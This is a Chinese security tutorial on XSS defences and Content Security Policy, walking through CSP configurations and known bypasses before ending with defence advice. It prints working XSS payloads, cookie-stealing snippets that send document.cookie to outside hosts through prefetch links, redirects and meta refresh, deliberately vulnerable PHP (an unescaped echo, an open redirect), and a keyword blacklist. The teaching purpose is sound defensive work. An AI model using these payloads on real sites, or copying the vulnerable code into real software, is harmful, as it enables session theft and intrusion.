前端防御从入门到弃坑：CSP变迁与防御技术详解

一、XSS基础与防御起点

1.1 基本XSS漏洞示例

<?php
$a = $_GET['a'];
echo $a;

攻击向量：

• <script>alert(1)</script>
• ``
• <svg/onload=alert(1)>

1.2 初级防御：htmlspecialchars函数

过滤5种符号：

• & => &
• " => " (当ENT_NOQUOTES没有设置时)
• ' => ' (当ENT_QUOTES设置时)
• < => <
• > => >

1.3 防御不足的场景

• <a href="{输入点}">
• <div style="{输入点}">
• ``
• `` (无引号)
• <script>{输入点}</script>

二、CSP(Content Security Policy)基础

2.1 CSP简介

内容安全策略(CSP)是浏览器层面的安全层，用于防御XSS和数据注入攻击。

2.2 基本CSP规则示例

header("Content-Security-Policy: default-src 'self'; script-src 'self' https://lorexxar.cn;");

2.3 CSP主要功能

1. 限制JS的执行
2. 限制对不可信域的请求

三、CSP绕过技术

3.1 宽松策略绕过

错误配置：

header("Content-Security-Policy: default-src 'self'; script-src *");

攻击：

<script src="http://lorexxar.cn/evil.js"></script>

3.2 自域绕过

配置：

header("Content-Security-Policy: default-src 'self'; script-src 'self'");

攻击步骤：

1. 上传恶意JS文件（如test.jpg）
2. 内容：alert(1);//
3. 直接加载：

<script src='upload/test.jpg'></script>

3.3 目录限制绕过

配置：

header("Content-Security-Policy: default-src 'self'; script-src http://127.0.0.1/static/");

利用方法：

1. 静态目录下存在302跳转文件：

<?php Header("location: ".$_GET['url'])?>

2. 上传test.jpg
3. 通过302跳转加载：

<script src="static/302.php?url=upload/test.jpg">

3.4 跨域请求绕过

允许内联脚本的配置：

header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'");

绕过技术：

1. JS生成link prefetch：

var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//ssssss.com/?" + document.cookie);
document.head.appendChild(n0t);

2. 页面跳转：

location.href="http://lorexxar.cn?a="+document.cookie

或

<meta http-equiv="refresh" content="5;http://lorexxar.cn?c=[cookie]">

3. 跨域请求：

var a=document.createElement("a");
a.href='http://xss.com/?cookie='+escape(document.cookie);
a.click();

3.5 JSONP绕过

<script src="/path/jsonp?callback=alert(document.domain)//"></script>

响应：

alert(document.domain);//{"var": "data"}

四、CSP升级方案

4.1 Nonce Script CSP

配置：

header("Content-Security-Policy: default-src 'self'; script-src 'nonce-{random-str}'");

实现：

<?php
$random = rand();
Header("Content-Security-Policy: script-src 'nonce-".$random."'");
?>
<script nonce="<?php echo $random?>">alert(1)</script>

4.2 Strict-dynamic

配置：

header("Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic'");

五、新型绕过技术

5.1 Nonce CSP绕过

利用静态DOM XSS：

• 通过location.hash触发的XSS不会刷新nonce值
• 通过CSS选择器读取内容：

*[attribute^="a"]{background:url("record?match=a")}
*[attribute^="b"]{background:url("record?match=b")}
*[attribute^="c"]{background:url("record?match=c")}

5.2 Strict-dynamic绕过

Script Gadgets攻击：
现代框架中的短标签特性：

<!-- Knockout.js示例 -->
<div data-bind="value: 'foo'"></div>  <!-- 执行Eval("foo") -->
<div data-bind="value: alert(1)"></div>  <!-- 绕过 -->

六、防御建议

1. 黑名单过滤：配合CSP使用

   • 过滤危险符号：%*+,'"<>()&/\#
   • 过滤危险关键词：on\w+=, script, svg, iframe, link

2. CSP最佳实践：

   • 避免使用unsafe-inline
   • 谨慎使用通配符*
   • 对JSONP接口严格限制
   • 考虑使用Nonce或Strict-dynamic

3. 其他防御措施：

   • 输入输出过滤
   • 使用现代框架的安全特性
   • 定期安全审计

七、总结

CSP作为浏览器层面的防御机制，虽然能有效减轻XSS攻击，但随着Web技术的发展，各种绕过技术不断出现。防御XSS需要多层次的安全措施，不能单纯依赖CSP。黑名单过滤配合严格配置的CSP仍然是当前最可靠的防御方式。